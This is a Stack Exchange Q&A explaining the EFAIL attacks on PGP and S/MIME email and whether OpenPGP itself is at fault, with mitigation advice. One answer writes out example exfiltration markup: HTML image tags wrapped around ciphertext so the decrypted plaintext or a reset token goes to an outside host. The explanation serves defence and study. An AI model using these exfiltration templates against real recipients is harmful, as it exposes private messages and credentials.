54
$\begingroup$

PGP is all over the news (even on TV) and there seems to be a lot of confusion about it.

For the time being, people face articles like Attention PGP users: new vulnerabilities require you to take action now which tell readers to deactivate their PGP plugins while raising concerns related to PGP beyond email client software and good, old email itself.

A group of European security researchers have released a warning about a set of vulnerabilities affecting users of PGP and S/MIME.

Since I've been asked about the status of PGP several times today, I think a short Q&A related to this makes sense.

Do the new vulnerabilities mean that

  1. there is a problem with PGP itself (as in: we should not use PGP encryption/signing at all), or
  2. do the vulnerabilities "merely" point to a problem with email clients and the way they handle things (as in: PGP is fine outside or your email client)?

Differently stated: I'm asking to clarify if it is still safe to use PGP itself (eg sign/encrypt via commandline and transmit via non-email channels) or if there's a problem with the cryptographic internals of PGP.

$\endgroup$
57
$\begingroup$

Draft paper linked from efail.de.

TL;DR: the vulnerability is in some popular email client software, often combined with an extension simplifying the use of an OpenPGP (e.g. GnuPG) or S/MIME implementation within the said software; e.g. an extension bundled in popular distributions of GnuPG v2, thus common.

The issue is that un-validated deciphered ciphertext is made available to the email client, and it acts upon it (e.g. following HTML links to addresses that an adversary collects), yielding a decryption oracle capable of deciphering a past or current ciphertext, and exfiltrating the plaintext.

It is fine to disable decryption functionality in the email client. It should remain so until that software (and any extension it relies on) is checked or improved to suppress (or at least not automatically act upon and preferably flag as suspect) any deciphered plaintext that did not explicitly pass the Modification Detection Code test for OpenPGP, or a similar check (to be defined) for S/MIME.

For OpenPGP, we can get back to the manual use of the bare OpenPGP tool (e.g. gpg), checking from stderr output that an MDC check explicitly passed, otherwise not acting based on what's received, be it programmatically or manually. I have no workaround suggestion for S/MIME.


From an official statement by the GnuPG and Gpg4Win teams:

  1. This paper is misnamed. It's not an attack on OpenPGP. It's an attack on broken email clients that ignore GnuPG's warnings and do silly things after being warned.
  2. This attack targets buggy email clients. Correct use of the MDC completely prevents this attack. GnuPG has had MDC support since the summer of 2000.

Update: based on that comment and other answer, and subject to dust settling, in GnuPG v2 two things are questionable, even if done on purpose so as not to break compatibility:
- Returning a status code of 0 (and a mere warning) in the absence of MDC, at least by default.
- A quirk specific to the Twofish algorithm prevents MDC error catching.

$\endgroup$
  • 6
    $\begingroup$ @forest Correct use of MDC is to noisily reject messages without an MDC before yielding a single bit of unauthenticated plaintext. As of yesterday, probably no OpenPGP implementation deigned to do that. It doesn't matter how assiduously senders add the MDC if recipients accept messages with or without it. $\endgroup$ – Squeamish Ossifrage May 15 '18 at 2:29
  • 1
    $\begingroup$ @SqueamishOssifrage Ah, but when an MDC is present, it fails on error? I suppose it would be easy to patch GnuPG to refuse messages that lack MDC entirely. $\endgroup$ – forest May 15 '18 at 4:26
  • 1
    $\begingroup$ @fgrieu Of course, but I was thinking it could be implemented as an option. The option of course would be incompatible with GnuPG when being used as a pipe. $\endgroup$ – forest May 15 '18 at 6:14
  • 5
    $\begingroup$ @forest It is not identical, but gpg will still happily hand out forged plaintext to whoever will listen and then print a stern warning on stderr. $\endgroup$ – Squeamish Ossifrage May 15 '18 at 13:42
  • 5
    $\begingroup$ The Twofish quirk is not a bug! Twofish support was added before MDC support, and is the only 128-bit block cipher added before MDC support. So it was for intentional compatibility reasons that the MDC is allowed to be omitted when decrypting Twofish messages! (At least, it is no more a bug than anything in the catastrophe of protocol misdesign that OpenPGP is.) $\endgroup$ – Squeamish Ossifrage May 15 '18 at 15:31
48
$\begingroup$

There are a few parts to the EFAIL attacks.

Some parts are the fault of the mailer authors for exposing unnecessary attack surface via arbitrary incoming email. Some parts are the fault of the OpenPGP and S/MIME designers for failing to heed modern cryptography engineering principles—in particular, failing to provide NM-CPA public-key encryption.

For advice on how to respond to EFAIL, see the security.se question; this is about how the attacks work and what went wrong to enable them.

  1. HTML interpretation.

    If you receive a message with <img url="http://efail.de/0a7492fc62d437b8309a4288edcb1ab6">, your mailer might load the URL http://efail.de/0a7492fc62d437b8309a4288edcb1ab6 to display the pretty picture there. This is a standard problem of email trackers. It's not new, but HTML interpretation is the foundation for how this family of attacks works. The same can be done with CSS URLs, active JavaScript content, etc.

  2. OpenPGP and S/MIME trackers.

    If you receive a message signed by an unrecognized OpenPGP key id, your mailer may automatically download the URL http://pool.sks-keyservers.net/pks/lookup?search=0x0a1b2c3d&op=get. Similarly, an S/MIME signature with an included certificate may specify an OCSP server to query, or a CRL list URL to download, or an intermediate CA URL to download. An adversary may be able to control these as another kind of email tracker.

  3. Direct exfiltration.

    In a multipart/mixed MIME container, concatenate a text/html part, an application/pgp or application/pkcs7-mime part containing ciphertext, and a text/html part:

    • text/html <img url="http://efail.de/
    • ciphertext
    • text/html ">


    The mailer helpfully decrypts the ciphertext and strings together <img url="http://efail.de/, the plaintext, and ">. Then the HTML engine fetches http://efail.de/(plaintext) as a URL to draw the pretty picture, because everyone knows email need pretty pictures or else it won't catch on. The image may not load, but it's too late: the plaintext is out the barn door.

  4. Malleability of unauthenticated ciphertexts.

    Even if you can't persuade the mailer to concatenate parts, you may be able to rearrange and edit parts of an unauthenticated message of which you know some parts but not others, and exploit the HTML interpretation channel to exfiltrate it.

    For example, in an HTML password reset message, there may be a new password or a link to a new password at a known location:

    <img url="http://assets.example.com/logo.png">
    <p>Dear luser,
    <p>We are incompetent corporate overlords.
    We lost your password.  Sorry.
    You have to reset it by clicking on this link:
    https://bureaucracy.example.com/cgi-bin/resetPassword.js.php.cgi.gif?token=0a7492fc62d437b8309a4288edcb1ab6
    

    Cutting and pasting parts of the ciphertext we may be able to convert it into something like this:

    <img url="http://efail.de/0a7492fc62d437b8309a4288edcb1ab6">
    <p>Dear luser,
    <p>We are incompetent corporate overlords.
    We lost your password.  Sorry.
    You have to reset it by clicking on this link:
    https://bureaucracy.example.com/cgi-bin/resetPassword.js.php.cgi.gif?token=http://assets.example.com/logo.png
    

    The same technique can be used for other OpenPGP and S/MIME trackers outside HTML too.

    (I am omitting the gruesome details of exactly how this process works, so that you are not tempted to fixate on it and try to thwart this by rearranging your emails; you should instead thwart this by using authenticated encryption and generally doing modern cryptography engineering in the first place. For the real details of the quite clever CBC and CFB gadgets through compression with studies of applicability to real-world data sets, read the paper.)

This leaves several questions.

  • Am I wrecked?

    You're probably not wrecked just because of this. This attack tends to leave evidence lying around, so it's expensive to deploy. But that doesn't mean the danger doesn't exist, and you won't see the evidence until it's too late, and it doesn't mean you're not wrecked by something else.

  • Am I worse off than I would have been without OpenPGP or S/MIME? Should I follow the EFF's hyperventilated advice and delete all my OpenPGP-related software?

    You're probably not worse off than if you hadn't used OpenPGP or S/MIME, except insofar as the difficulty of using OpenPGP has taken hours out of your life and prevented connections you would have made otherwise, and you're probably only using S/MIME if at all in a corporate bureaucracy, not with your human relationships or across organizational boundaries.

    After all, this works when an attacker, who already eavesdropped on a message, cuts and pastes that message into a new one and resends it to the recipients. If you hadn't encrypted the message, then they would have the plaintext already and wouldn't need to interact with your mailer.

    But you should definitely turn off HTML rendering. Don't just disable sending HTML mail, which is irrelevant to this attack; disable rendering HTML mail, which is how the adversary triggers this attack.

    As for the channels that work by automatic key download and revocation check: the trouble is that these may be needed to detect certificates that were revoked because the key was compromised. So disabling these channels—if you can—may hurt in other ways.

  • Should mailers interpret HTML?

    I would say no, but it's common practice today. After all, everyone knows email needs pretty pictures or else it won't catch on.

  • Should mailers interpret unauthenticated HTML?

    I would say definitely no, because unauthenticated data is pure evil—don't touch it! But it's still common practice.

  • So this is squarely the mailer's fault for interpreting unauthenticated HTML, then?

    Still no.

    It is the mailer's fault for concatenating text/html parts with auto-decrypted ciphertext parts with text/html parts in multipart/mixed messages, as in part (2).

    But it is not the mailer's fault that an adversary can selectively modify ciphertexts with predictable changes to the plaintext, which is how part (3) of the attack works.

    Had OpenPGP and S/MIME used symmetric-key authenticated encryption, the attack would have been thwarted. In that case, the only forgery an adversary can achieve is wholesale replacement of the message, not selective modification.

    As is, OpenPGP and S/MIME use a traditional ‘hybrid’ of public-key key encapsulation mechanism to transmit a key (shoehorned into an archaic public-key encryption scheme like RSAES-PKCS1-v1_5) for symmetric-key unauthenticated encryption. The symmetric cipher is malleable, which is why we may be able to predictably cut and paste chunks of the message without the recipient being any the wiser. More broadly, by using a hybrid with malleable encryption instead of nonmalleable authenticated encrytion, OpenPGP and S/MIME failed to provide the standard goals of IND-CCA2 and NM-CCA2 for public-key encryption.

  • What about the MDC in OpenPGP?

    The MDC is a kludge with no clear security goals that is voluntary on the part of the sender. It can be removed by changing the unauthenticated packet type. It is intentionally not a MAC. It served as a speedbump, not as a defense. Soon, the authors of OpenPGP software will make the MDC mandatory. In rfc4880bis, there will presumably be real authenticated encryption with symmetric keys.

    But OpenPGP as a whole was designed without a modern notion of formal security goals with actors in a protocol. Rather, it is a format for nesting encryption, signature, compression, and literal data in arbitrary combinations—which turns out to be a bad idea on its own, and when its creators were confronted with a need for human-relevant security goals in applications they explicitly abdicated responsibility for it and punted it outside the domain of cryptography.

    P.S. S/MIME doesn't even have an MDC.

  • But the mailers ignored status codes from gpg!

    If you can find me among the GnuPG documentation guidance on how to use it reliably in a mailer with meaningful security properties, or the option that causes gpg as a subprocess to fail with nonzero exit code if the MDC is missing,* then I will find you a living dodo.

    This is part of why the application Signal is an object of widespread interest, while the Signal protocol (which is allegedly also used by WhatsApp and other messengers) is an implementation detail that ordinary users don't need to know about.

    In contrast, PGP is the acronym that everyone knows now, but its implementations are personal choices like a sock color and nobody can keep straight the current preferred email integration du jour. (Enigmail? Mailvelope? GPG Tools?)

  • What if I use gpg manually?

    If you use gpg manually, you are dedicated, or a masochist, or both.

    Either way, you should be familiar with thegrugq's guide to how to use PGP, and you must read and understand every line of output that gpg prints to the terminal when you run it before you act on the file of output it produces. Don't pipe gpg to other programs because gpg will happily spit out unauthenticated data (which is pure evil—don't touch it!) before it tells you whether or not something even could have been a forgery.

    Remember that OpenPGP does not concern itself with anything outside the OpenPGP format. A signed message doesn't cover the From: or To: or Subject: lines of an email it's embedded in. When you verify a detached signature on a source distribution called something like gnupg-1.4.14.tar.gz, the signature doesn't cover the name of the file—only the content. So a signature on the GnuPG 1.4.13 distribution will still work even if the file is named gnupg-1.4.14.tar.gz.

  • Inline or PGP/MIME?

    If OpenPGP's arbitrary nesting of encryption, signature, compression, and literal packets wasn't bad enough, would you like another serving of arbitrary nesting of complex structured language rife with ambiguity on your plate?


* You have to use the status fd to get this reliably, except if the sender used Twofish, in which case the current version of gpg2 never objects to a missing MDC. (This has been changed in gpg2 master and will presumably be fixed in the next release of gpg2.)

$\endgroup$
  • 6
    $\begingroup$ resetPassword.js.php.cgi.gif 😂 $\endgroup$ – Lightness Races in Orbit May 15 '18 at 11:32
  • $\begingroup$ To get OpenPGP signature to cover the name of the file, zip the file up and sign the zip. The name of the zip can be modified, but not the name of its member file(s). $\endgroup$ – Monty Harder May 15 '18 at 14:38
  • $\begingroup$ @MontyHarder That's all very well when you're making the distribution, but it doesn't help to verify a distribution that someone else already made. $\endgroup$ – Squeamish Ossifrage May 15 '18 at 14:43
  • 1
    $\begingroup$ @MaartenBodewes Bear in mind that this is not just about HTML! The PGP and S/MIME signature, including information for identifying the external CA/CRL/_etc._ needed to verify the signature, are in the ciphertext too. Is it reasonable to act on those? $\endgroup$ – Squeamish Ossifrage May 16 '18 at 12:46
  • 1
    $\begingroup$ @MaartenBodewes They can be altered because the ciphertext is malleable. The message is signed, and the key id or certificate is included in the signature; then the message is encrypted. The mailer has to act on the decrypted plaintext before verification. If the ciphertext were nonmalleable, a forger would have no hope of selectively modifying a message to exploit this attack; only wholesale replacement of the message would be feasible. This is what happens when you don't bother to even think about security goals like NM-CCA2. (This fails even NM-CPA.) $\endgroup$ – Squeamish Ossifrage May 16 '18 at 13:03

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.